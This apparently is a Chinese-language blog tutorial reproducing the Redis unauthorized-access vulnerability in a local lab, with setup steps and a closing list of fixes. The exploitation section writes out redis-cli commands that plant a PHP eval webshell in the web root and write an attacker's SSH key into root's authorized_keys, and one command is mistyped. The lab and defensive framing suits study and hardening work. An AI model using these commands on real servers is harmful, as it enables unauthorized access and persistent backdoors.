redis

本文最后更新于:4 个月前

redis未授权访问漏洞复现

漏洞简介

Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

该漏洞的产生条件有以下两点:

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;

环境搭建

在kali中安装redis 3.2.0

创建redis安装目录
mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
//获取redis压缩包
tar xzf redis-3.2.0.tar.gz
cd /usr/local/redis/redis-3.2.0
make #编译安装

安装完成之后需要修改配置文件,配置允许可以远程访问。

vim redis.conf #修改默认配置文件

在bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no。

image-20210414153138387

然后进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了),并将redis.conf拷贝到/etc/目录下。

cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
cp redis.conf /etc/

开启redis服务

redis-server /etc/redis.conf

image-20210414153309311

第一台作为攻击机即可,然后将这台主机克隆作为目标主机

攻击机

ip:192.168.164.145

目标主机

ip:192.168.164.23

首先确定目标主机是否开启redis服务,使用nmap扫描端口6379

如下,显示了目标使用的redis版本以及服务器的信息

image-20210413225839841

开始利用

1.写入木马文件

首先进入redis安装目录的src中执行

./redis-cli -h 192.168.164.23

成功控制目标的redis服务

image-20210413230028713

向其网站根目录中写入一句话木马

config set dir /var/www/html

config set dbfilename shell.php

set x "<?php @eval($_POST['cmd']);?>"

save 

image-20210413230359912

save成功后,目标主机的网站根目录就出现了木马文件

image-20210413230408356

使用蚁剑连接

image-20210413230614612

2.写ssh-keygen公钥然后使用私钥进行登陆

写入ssh公钥后可以在本机存储对应的ssh密钥,然后直接无密码登陆。

首先生成公钥密钥文件

ssh-keygen -t rsa

cat /root/.ssh/id_rsa.pub

image-20210414131910830

继续使用命令

config set dir /root/.ssh/

config set authorized_keys

set x "\n\n\n\id_rsa.pub的内容\n\n\n"

save

image-20210414131805309

使用公钥连接

ssh -i id_rsa root@192.168.164.23

这里的id_rsa与创建ssh密钥输入的内容一致

image-20210414133547275

3.利用计划任务反弹shell

只能在centos环境中利用因为centos环境中的计划任务文件可以忽略乱码,ubuntu环境因为无法忽略文件中的乱码因此无法使用

漏洞修复

1、限制登录ip
在redis.conf文件中设置redis访问的ip白名单,如果项目允许的话最好设置为只允许本地访问。

2、添加密码
在redis.conf配置文件中找到requirepass并去掉前面的#, 然后在后面设置一个高强度的密码。因为redis验证密码的速度很快,给攻击者进行高速的爆破密码提供了一个良好的基础,所以设置一个高强度的密码不仅解决了未授权的问题还能防止密码爆破。

3、修改默认端口


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

 目录

Copyright © 2020 my blog
载入天数... 载入时分秒...